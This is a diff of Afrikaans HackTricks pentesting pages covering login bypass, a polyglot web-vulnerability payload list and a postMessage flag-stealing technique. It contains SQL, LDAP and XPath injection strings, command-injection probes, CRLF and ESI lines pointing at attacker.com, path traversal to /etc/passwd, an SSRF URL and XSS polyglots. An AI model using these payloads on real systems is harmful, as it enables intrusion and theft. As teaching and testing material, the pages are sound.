* As jy 'n JSON-voorwerp kan stuur, kan jy `"password":{"password": 1}` stuur om die aanmelding te deurloop.
|
||||
* Onthou dat jy steeds 'n geldige gebruikersnaam moet **weet en stuur** om hierdie aanmelding te deurloop.
|
||||
* **Voeg die opsie `"stringifyObjects":true`** by wanneer jy `mysql.createConnection` roep, sal uiteindelik **alle onverwagte gedrag blokkeer wanneer `Object` as parameter oorgedra word**.
|
||||
* As jy 'n JSON objek kan stuur, kan jy `"password":{"password": 1}` stuur om die aanmelding te omseil.
|
||||
* Onthou dat om hierdie aanmelding te omseil, jy steeds moet **weet en 'n geldige gebruikersnaam stuur**.
|
||||
* **Voeg `"stringifyObjects":true`** opsie by wanneer jy `mysql.createConnection` aanroep, sal uiteindelik **alle onverwagte gedrag blokkeer wanneer `Object` in die parameter gestuur word**.
|
||||
* Kyk na geloofsbriewe:
|
||||
* [**Verstekgeloofsbriewe**](../../generic-methodologies-and-resources/brute-force.md#default-credentials) van die gebruikte tegnologie/platform
|
||||
* **Gewone kombinasies** (root, admin, wagwoord, naam van die tegnologie, verstekgebruiker met een van hierdie wagwoorde).
|
||||
* Skep 'n woordeboek met behulp van **Cewl**, **voeg** die **verstek** gebruikersnaam en wagwoord by (as daar is) en probeer dit met al die woorde as **gebruikersname en wagwoord** deurloop
|
||||
* **Deurloop** met 'n groter **woordeboek (**[**Brute force**](../../generic-methodologies-and-resources/brute-force.md#http-post-form)**)**
|
||||
* [**Standaard geloofsbriewe**](../../generic-methodologies-and-resources/brute-force.md#default-credentials) van die tegnologie/platform wat gebruik word
|
||||
* **Gewone kombinasies** (root, admin, wagwoord, naam van die tegnologie, standaard gebruiker met een van hierdie wagwoorde).
|
||||
* Skep 'n woordeboek met **Cewl**, **voeg** die **standaard** gebruikersnaam en wagwoord (as daar is) by en probeer om dit te brute-force met al die woorde as **gebruikersname en wagwoord**
|
||||
* **Brute-force** met 'n groter **woordeboek (**[**Brute force**](../../generic-methodologies-and-resources/brute-force.md#http-post-form)**)**
|
||||
|
||||
### SQL-injeksie-aanmelding deurloop
|
||||
### SQL Injection aanmeld omseiling
|
||||
|
||||
[Hier kan jy verskeie truuks vind om die aanmelding te deurloop via **SQL-injeksies**](../sql-injection/#authentication-bypass).
|
||||
[Hier kan jy verskeie truuks vind om die aanmelding via **SQL injections** te omseil](../sql-injection/#authentication-bypass).
|
||||
|
||||
Op die volgende bladsy kan jy 'n **aangepaste lys vind om te probeer om die aanmelding te deurloop** via SQL-injeksies:
|
||||
Op die volgende bladsy kan jy 'n **aangepaste lys vind om te probeer om aanmelding** via SQL Injections te omseil:
|
||||
|
||||
{% content-ref url="sql-login-bypass.md" %}
|
||||
[sql-login-bypass.md](sql-login-bypass.md)
|
||||
{% endcontent-ref %}
|
||||
|
||||
### Geen SQL-injeksie-aanmelding deurloop
|
||||
### Geen SQL Injection aanmeld omseiling
|
||||
|
||||
[Hier kan jy verskeie truuks vind om die aanmelding te deurloop via **Geen SQL-injeksies**](../nosql-injection.md#basic-authentication-bypass)**.**
|
||||
[Hier kan jy verskeie truuks vind om die aanmelding via **Geen SQL Injections** te omseil](../nosql-injection.md#basic-authentication-bypass)**.**
|
||||
|
||||
Aangesien die NoSQL-injeksies vereis dat jy die parameterwaarde verander, sal jy dit handmatig moet toets.
|
||||
Aangesien die NoSQL Injections vereis dat die parameters waarde verander, sal jy dit handmatig moet toets.
|
||||
|
||||
### XPath-injeksie-aanmelding deurloop
|
||||
### XPath Injection aanmeld omseiling
|
||||
|
||||
[Hier kan jy verskeie truuks vind om die aanmelding te deurloop via **XPath-injeksie**.](../xpath-injection.md#authentication-bypass)
|
||||
[Hier kan jy verskeie truuks vind om die aanmelding via **XPath Injection.**](../xpath-injection.md#authentication-bypass)
|
||||
```
|
||||
' or '1'='1
|
||||
' or ''='
|
||||
|
@ -73,9 +76,9 @@ Aangesien die NoSQL-injeksies vereis dat jy die parameterwaarde verander, sal jy
|
|||
admin' or '
|
||||
admin' or '1'='2
|
||||
```
|
||||
### LDAP-injeksie-verifikasie-omleiding
|
||||
### LDAP Injection outentieke bypass
|
||||
|
||||
[Hier kan jy verskeie truuks vind om die aanmelding te omseil deur middel van **LDAP-injeksie**.](../ldap-injection.md#login-bypass)
|
||||
[Hier kan jy verskeie truuks vind om die aanmelding via **LDAP Injection** te omseil.](../ldap-injection.md#login-bypass)
|
||||
```
|
||||
*
|
||||
*)(&
|
||||
|
@ -93,31 +96,34 @@ admin))(|(|
|
|||
|
||||
As die bladsy "**Onthou My**" funksionaliteit het, kyk hoe dit geïmplementeer is en sien of jy dit kan misbruik om **ander rekeninge oor te neem**.
|
||||
|
||||
### Omleidings
|
||||
### Oorgange
|
||||
|
||||
Bladsye stuur gewoonlik gebruikers na aanmelding om, kyk of jy daardie omleiding kan verander om 'n [**Oop Omleiding**](../open-redirect.md) te veroorsaak. Miskien kan jy 'n paar inligting (kodes, koekies...) steel as jy die gebruiker na jou web omlei.
|
||||
Bladsye lei gewoonlik gebruikers na aanmelding, kyk of jy daardie oorgang kan verander om 'n [**Open Redirect**](../open-redirect.md) te veroorsaak. Miskien kan jy 'n paar inligting (kodes, koekies...) steel as jy die gebruiker na jou web lei.
|
||||
|
||||
## Ander Kontroles
|
||||
|
||||
* Kyk of jy **gebruikersname kan opnoem** deur die aanmeldingsfunksionaliteit te misbruik.
|
||||
* Kyk of **outomatiese voltooiing** aktief is in die wagwoord/**sensitiewe** inligting **vorms** **invoer:** `<input autocomplete="false"`
|
||||
* Kyk of jy **gebruikernames kan opnoem** deur die aanmeldfunksionaliteit te misbruik.
|
||||
* Kyk of **outo-voltooi** aktief is in die wagwoord/**sensitiewe** inligting **vorms** **invoer:** `<input autocomplete="false"`
|
||||
|
||||
|
||||
|
||||
<figure><img src="https://files.gitbook.com/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-L_2uGJGU7AVNRcqRvEi%2Fuploads%2FelPCTwoecVdnsfjxCZtN%2Fimage.png?alt=media&token=9ee4ff3e-92dc-471c-abfe-1c25e446a6ed" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
[**RootedCON**](https://www.rootedcon.com/) is die mees relevante sibersekuriteitsgebeurtenis in **Spanje** en een van die belangrikste in **Europa**. Met **die missie om tegniese kennis te bevorder**, is hierdie kongres 'n kookpunt vir tegnologie- en sibersekuriteitsprofessionals in elke dissipline.
|
||||
[**RootedCON**](https://www.rootedcon.com/) is die mees relevante kuberveiligheid gebeurtenis in **Spanje** en een van die belangrikste in **Europa**. Met **die missie om tegniese kennis te bevorder**, is hierdie kongres 'n bruisende ontmoetingspunt vir tegnologie en kuberveiligheid professionele in elke dissipline.
|
||||
|
||||
{% embed url="https://www.rootedcon.com/" %}
|
||||
|
||||
{% hint style="success" %}
|
||||
Leer & oefen AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Leer & oefen GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Leer AWS-hacking van nul tot held met</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary>Ondersteun HackTricks</summary>
|
||||
|
||||
* Werk jy in 'n **sibersekuriteitsmaatskappy**? Wil jy jou **maatskappy adverteer in HackTricks**? of wil jy toegang hê tot die **nuutste weergawe van die PEASS of laai HackTricks af in PDF**? Kyk na die [**SUBSKRIPSIEPLANNE**](https://github.com/sponsors/carlospolop)!
|
||||
* Ontdek [**The PEASS Family**](https://opensea.io/collection/the-peass-family), ons versameling eksklusiewe [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* Kry die [**amptelike PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* **Sluit aan by die** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord-groep**](https://discord.gg/hRep4RUj7f) of die [**telegram-groep**](https://t.me/peass) of **volg** my op **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Deel jou haktruuks deur PR's in te dien by die [hacktricks repo](https://github.com/carlospolop/hacktricks) en [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**.
|
||||
* Kyk na die [**subskripsie planne**](https://github.com/sponsors/carlospolop)!
|
||||
* **Sluit aan by die** 💬 [**Discord groep**](https://discord.gg/hRep4RUj7f) of die [**telegram groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Deel hacking truuks deur PRs in te dien na die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
|
|
@ -1,34 +1,69 @@
|
|||
# Web Vulns List
|
||||
|
||||
## Web Vulns Lys
|
||||
{% hint style="success" %}
|
||||
Leer & oefen AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Opleiding AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Leer & oefen GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Opleiding GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Leer AWS-hacking van nul tot held met</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary>Ondersteun HackTricks</summary>
|
||||
|
||||
* Werk jy in 'n **cybersecurity-maatskappy**? Wil jy jou **maatskappy geadverteer sien in HackTricks**? Of wil jy toegang hê tot die **nuutste weergawe van die PEASS of laai HackTricks in PDF af**? Kyk na die [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
|
||||
* Ontdek [**The PEASS Family**](https://opensea.io/collection/the-peass-family), ons versameling eksklusiewe [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* Kry die [**amptelike PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* **Sluit aan by die** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord-groep**](https://discord.gg/hRep4RUj7f) of die [**telegram-groep**](https://t.me/peass) of **volg** my op **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Deel jou hacking-truuks deur PR's in te dien by die** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **en** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
* Kyk na die [**intekening planne**](https://github.com/sponsors/carlospolop)!
|
||||
* **Sluit aan by die** 💬 [**Discord groep**](https://discord.gg/hRep4RUj7f) of die [**telegram groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Deel hacking truuks deur PRs in te dien na die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
```python
|
||||
{{7*7}}[7*7]
|
||||
1;sleep${IFS}9;#${IFS}';sleep${IFS}9;#${IFS}";sleep${IFS}9;#${IFS}
|
||||
/*$(sleep 5)`sleep 5``*/-sleep(5)-'/*$(sleep 5)`sleep 5` #*/-sleep(5)||'"||sleep(5)||"/*`*/
|
||||
%0d%0aLocation:%20http://attacker.com
|
||||
%3f%0d%0aLocation:%0d%0aContent-Type:text/html%0d%0aX-XSS-Protection%3a0%0d%0a%0d%0a%3Cscript%3Ealert%28document.domain%29%3C/script%3E
|
||||
%3f%0D%0ALocation://x:1%0D%0AContent-Type:text/html%0D%0AX-XSS-Protection%3a0%0D%0A%0D%0A%3Cscript%3Ealert(document.domain)%3C/script%3E
|
||||
%0d%0aContent-Length:%200%0d%0a%0d%0aHTTP/1.1%20200%20OK%0d%0aContent-Type:%20text/html%0d%0aContent-Length:%2025%0d%0a%0d%0a%3Cscript%3Ealert(1)%3C/script%3E
|
||||
<br><b><h1>THIS IS AND INJECTED TITLE </h1>
|
||||
/etc/passwd
|
||||
../../../../../../etc/hosts
|
||||
..\..\..\..\..\..\etc/hosts
|
||||
/etc/hostname
|
||||
../../../../../../etc/hosts
|
||||
C:/windows/system32/drivers/etc/hosts
|
||||
../../../../../../windows/system32/drivers/etc/hosts
|
||||
..\..\..\..\..\..\windows/system32/drivers/etc/hosts
|
||||
http://asdasdasdasd.burpcollab.com/mal.php
|
||||
\\asdasdasdasd.burpcollab.com/mal.php
|
||||
www.whitelisted.com
|
||||
www.whitelisted.com.evil.com
|
||||
https://google.com
|
||||
//google.com
|
||||
javascript:alert(1)
|
||||
(\\w*)+$
|
||||
([a-zA-Z]+)*$
|
||||
((a+)+)+$
|
||||
<!--#echo var="DATE_LOCAL" --><!--#exec cmd="ls" --><esi:include src=http://attacker.com/>x=<esi:assign name="var1" value="'cript'"/><s<esi:vars name="$(var1)"/>>alert(/Chrome%20XSS%20filter%20bypass/);</s<esi:vars name="$(var1)"/>>
|
||||
{{7*7}}${7*7}<%= 7*7 %>${{7*7}}#{7*7}${{<%[%'"}}%\
|
||||
<xsl:value-of select="system-property('xsl:version')" /><esi:include src="http://10.10.10.10/data/news.xml" stylesheet="http://10.10.10.10//news_template.xsl"></esi:include>
|
||||
" onclick=alert() a="
|
||||
'"><img src=x onerror=alert(1) />
|
||||
javascript:alert()
|
||||
javascript:"/*'/*`/*--></noscript></title></textarea></style></template></noembed></script><html \" onmouseover=/*<svg/*/onload=alert()//>
|
||||
-->'"/></sCript><deTailS open x=">" ontoggle=(co\u006efirm)``>
|
||||
">><marquee><img src=x onerror=confirm(1)></marquee>" ></plaintext\></|\><plaintext/onmouseover=prompt(1) ><script>prompt(1)</script>@gmail.com<isindex formaction=javascript:alert(/XSS/) type=submit>'-->" ></script><script>alert(1)</script>"><img/id="confirm( 1)"/alt="/"src="/"onerror=eval(id&%23x29;>'"><img src="http: //i.imgur.com/P8mL8.jpg">
|
||||
" onclick=alert(1)//<button ‘ onclick=alert(1)//> */ alert(1)//
|
||||
';alert(String.fromCharCode(88,83,83))//';alert(String. fromCharCode(88,83,83))//";alert(String.fromCharCode (88,83,83))//";alert(String.fromCharCode(88,83,83))//-- ></SCRIPT>">'><SCRIPT>alert(String.fromCharCode(88,83,83)) </SCRIPT>
|
||||
```
|
||||
{% hint style="success" %}
|
||||
Leer & oefen AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Opleiding AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Leer & oefen GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Opleiding GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
\`\`\`python \{{7\*7\}}\[7\*7] 1;sleep${IFS}9;#${IFS}';sleep${IFS}9;#${IFS}";sleep${IFS}9;#${IFS} /\*$(sleep 5)\`sleep 5\`\`\*/-sleep(5)-'/\*$(sleep 5)\`sleep 5\` #\*/-sleep(5)||'"||sleep(5)||"/\*\`\*/ %0d%0aLocation:%20http://attacker.com %3f%0d%0aLocation:%0d%0aContent-Type:text/html%0d%0aX-XSS-Protection%3a0%0d%0a%0d%0a%3Cscript%3Ealert%28document.domain%29%3C/script%3E %3f%0D%0ALocation://x:1%0D%0AContent-Type:text/html%0D%0AX-XSS-Protection%3a0%0D%0A%0D%0A%3Cscript%3Ealert(document.domain)%3C/script%3E %0d%0aContent-Length:%200%0d%0a%0d%0aHTTP/1.1%20200%20OK%0d%0aContent-Type:%20text/html%0d%0aContent-Length:%2025%0d%0a%0d%0a%3Cscript%3Ealert(1)%3C/script%3E\
|
||||
<details>
|
||||
|
||||
<summary>Ondersteun HackTricks</summary>
|
||||
|
||||
## THIS IS AND INJECTED TITLE
|
||||
* Kyk na die [**subskripsie planne**](https://github.com/sponsors/carlospolop)!
|
||||
* **Sluit aan by die** 💬 [**Discord groep**](https://discord.gg/hRep4RUj7f) of die [**telegram groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Deel hacking truuks deur PRs in te dien na die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
/etc/passwd ../../../../../../etc/hosts ..\\..\\..\\..\\..\\..\etc/hosts /etc/hostname ../../../../../../etc/hosts C:/windows/system32/drivers/etc/hosts ../../../../../../windows/system32/drivers/etc/hosts ..\\..\\..\\..\\..\\..\windows/system32/drivers/etc/hosts http://asdasdasdasd.burpcollab.com/mal.php \\\asdasdasdasd.burpcollab.com/mal.php www.whitelisted.com www.whitelisted.com.evil.com https://google.com //google.com javascript:alert(1) (\\\w\*)+$ (\[a-zA-Z]+)\*$ ((a+)+)+$ x=>alert(/Chrome%20XSS%20filter%20bypass/);> \{{7\*7\}}${7\*7}<%= 7\*7 %>$\{{7\*7\}}#{7\*7}$\{{<%\[%'"\}}%\ " onclick=alert() a=" '">![](https://github.com/carlospolop/hacktricks/blob/af/pentesting-web/pocs-and-polygloths-cheatsheet/x) javascript:alert() javascript:"/\*'/\*\`/\*--> -->'"/>
|
||||
|
||||
 ">>![](https://github.com/carlospolop/hacktricks/blob/af/pentesting-web/pocs-and-polygloths-cheatsheet/x)" >\<script>prompt(1)\</script>@gmail.com\<isindex formaction=javascript:alert(/XSS/) type=submit>'-->" >\</script>\<script>alert(1)\</script>">\<img/id="confirm( 1)"/alt="/"src="/"onerror=eval(id&%23x29;>'">\<img src="http: //i.imgur.com/P8mL8.jpg">\
|
||||
" onclick=alert(1)//\<button ‘ onclick=alert(1)//> \*/ alert(1)//\
|
||||
';alert(String.fromCharCode(88,83,83))//';alert(String. fromCharCode(88,83,83))//";alert(String.fromCharCode (88,83,83))//";alert(String.fromCharCode(88,83,83))//-- >\</SCRIPT>">'>\<SCRIPT>alert(String.fromCharCode(88,83,83)) \</SCRIPT>\
|
||||
\`\`\`\
|
||||
\<details>**Leer AWS-hacking van nul tot held met** [**htARTE (HackTricks AWS Red Team Expert)**](https://training.hacktricks.xyz/courses/arte)**!**
|
||||
|
||||
* Werk jy in 'n **cybersecurity-maatskappy**? Wil jy jou **maatskappy geadverteer sien in HackTricks**? Of wil jy toegang hê tot die **nuutste weergawe van die PEASS of HackTricks aflaai in PDF-formaat**? Kyk na die [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
|
||||
* Ontdek [**The PEASS Family**](https://opensea.io/collection/the-peass-family), ons versameling eksklusiewe [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* Kry die [**amptelike PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* **Sluit aan by die** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord-groep**](https://discord.gg/hRep4RUj7f) of die [**telegram-groep**](https://t.me/peass) of **volg** my op **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Deel jou hacking-truuks deur PR's in te dien by die** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **en** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
|
|
@ -1,28 +1,31 @@
|
|||
# Blokkeer hoofbladsy om postmessage te steel
|
||||
# Blocking main page to steal postmessage
|
||||
|
||||
{% hint style="success" %}
|
||||
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Leer AWS-hacking van nul tot held met</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary>Support HackTricks</summary>
|
||||
|
||||
* Werk jy in 'n **cybersecurity-maatskappy**? Wil jy jou **maatskappy adverteer in HackTricks**? Of wil jy toegang hê tot die **nuutste weergawe van die PEASS of laai HackTricks in PDF af**? Kyk na die [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
|
||||
* Ontdek [**The PEASS Family**](https://opensea.io/collection/the-peass-family), ons versameling eksklusiewe [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* Kry die [**amptelike PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* **Sluit aan by die** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord-groep**](https://discord.gg/hRep4RUj7f) of die [**telegram-groep**](https://t.me/peass) of **volg** my op **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Deel jou hacktruuks deur PR's in te dien by die [hacktricks repo](https://github.com/carlospolop/hacktricks) en [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**.
|
||||
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
|
||||
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
||||
## Wen RC's met Iframes
|
||||
## Winning RCs with Iframes
|
||||
|
||||
Volgens hierdie [**Terjanq writeup**](https://gist.github.com/terjanq/7c1a71b83db5e02253c218765f96a710) word blob-dokumente wat vanaf nul-oorsprong geskep is, geïsoleer vir veiligheidsvoordele, wat beteken dat as jy die hoofbladsy besig hou, die iframe-bladsy uitgevoer sal word.
|
||||
Volgens hierdie [**Terjanq writeup**](https://gist.github.com/terjanq/7c1a71b83db5e02253c218765f96a710) is blob dokumente wat van nul oorspronge geskep is, geïsoleer vir sekuriteitsvoordele, wat beteken dat as jy die hoofblad besig hou, die iframe-bladsy gaan uitgevoer word.
|
||||
|
||||
Basies word in daardie uitdaging 'n **geïsoleerde iframe uitgevoer** en **nadat** dit **gelaai** is, gaan die **ouer**-bladsy 'n **post**-boodskap stuur met die **vlag**.\
|
||||
Hierdie postmessage-kommunikasie is egter **kwesbaar vir XSS** (die **iframe** kan JS-kode uitvoer).
|
||||
Basies in daardie uitdaging word 'n **geïsoleerde iframe uitgevoer** en reg **na** dit **gelaai** is, gaan die **ouer** bladsy 'n **post** boodskap met die **vlag** **stuur**.\
|
||||
Egter, daardie postmessage kommunikasie is **kwetsbaar vir XSS** (die **iframe** kan JS kode uitvoer).
|
||||
|
||||
Daarom is die doel van die aanvaller om die ouer die iframe te **laat skep**, maar **voordat** die **ouer**-bladsy die sensitiewe data (**vlag**) **stuur**, moet dit **besig gehou** word en die **payload na die iframe stuur**. Terwyl die **ouer besig is**, voer die **iframe die payload uit** wat 'n bietjie JS sal wees wat sal luister vir die **ouer postmessage-boodskap en die vlag sal uitlek**.\
|
||||
Uiteindelik het die iframe die payload uitgevoer en hou die ouerbladsy op om besig te wees, sodat dit die vlag stuur en die payload dit uitlek.
|
||||
Daarom is die doel van die aanvaller om die **ouer te laat die iframe skep**, maar **voor** die **ouer** bladsy **die** sensitiewe data (**vlag**) **stuur**, **hou dit besig** en stuur die **payload na die iframe**. Terwyl die **ouer besig is**, voer die **iframe die payload** uit wat 'n paar JS sal wees wat sal luister vir die **ouer postmessage boodskap en die vlag lek**.\
|
||||
Laastens, het die iframe die payload uitgevoer en die ouer bladsy stop om besig te wees, so dit stuur die vlag en die payload lek dit.
|
||||
|
||||
Maar hoe kan jy die ouer **besig hou net nadat dit die iframe gegenereer het en terwyl dit wag vir die iframe om gereed te wees om die sensitiewe data te stuur**? Jy moet basies 'n **asynchrone aksie** vind wat die ouer kan **uitvoer**. Byvoorbeeld, in daardie uitdaging het die ouer geluister na **postmessages** soos hierdie:
|
||||
Maar hoe kan jy die ouer **besig maak net nadat dit die iframe gegenereer het en net terwyl dit wag vir die iframe om gereed te wees om die sensitiewe data te stuur?** Basies, jy moet 'n **async** **aksie** vind wat jy die ouer kan **laat uitvoer**. Byvoorbeeld, in daardie uitdaging was die ouer **besig om te luister** na **postmessages** soos volg:
|
||||
```javascript
|
||||
window.addEventListener('message', (e) => {
|
||||
if (e.data == 'blob loaded') {
|
||||
|
@ -30,21 +33,24 @@ $("#previewModal").modal();
|
|||
}
|
||||
});
|
||||
```
|
||||
so dit was moontlik om 'n **groot heelgetal in 'n postmessage te stuur** wat in daardie vergelyking **omgeskakel sal word na 'n string**, wat 'n bietjie tyd sal neem:
|
||||
so dit was moontlik om 'n **groot heelgetal in 'n postmessage** te stuur wat in daardie vergelyking **na 'n string omskakel** sal word, wat 'n bietjie tyd sal neem:
|
||||
```bash
|
||||
const buffer = new Uint8Array(1e7);
|
||||
win?.postMessage(buffer, '*', [buffer.buffer]);
|
||||
```
|
||||
En om presies te wees en daardie postmessage te stuur net nadat die iframe geskep is, maar voordat dit gereed is om die data van die ouer te ontvang, sal jy met die millisekondes van 'n `setTimeout` moet speel.
|
||||
En om presies te wees en daardie **postmessage** net **na** die **iframe** geskep is, maar **voor** dit **gereed** is om die data van die ouer te ontvang, sal jy moet **speel met die millisekondes van 'n `setTimeout`**.
|
||||
|
||||
{% hint style="success" %}
|
||||
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Leer AWS-hacking van nul tot held met</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary>Support HackTricks</summary>
|
||||
|
||||
* Werk jy in 'n **cybersecurity-maatskappy**? Wil jy jou **maatskappy geadverteer sien in HackTricks**? Of wil jy toegang hê tot die **nuutste weergawe van die PEASS of HackTricks aflaai in PDF-formaat**? Kyk na die [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
|
||||
* Ontdek [**The PEASS Family**](https://opensea.io/collection/the-peass-family), ons versameling eksklusiewe [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* Kry die [**amptelike PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* **Sluit aan by die** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord-groep**](https://discord.gg/hRep4RUj7f) of die [**telegram-groep**](https://t.me/peass) of **volg** my op **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Deel jou hacktruuks deur PR's in te dien by die [hacktricks repo](https://github.com/carlospolop/hacktricks) en [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**.
|
||||
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
|
||||
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
|
|
@ -1,20 +1,23 @@
|
|||
# Oorsteek van SOP met Iframes - 1
|
||||
# Bypassing SOP with Iframes - 1
|
||||
|
||||
{% hint style="success" %}
|
||||
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
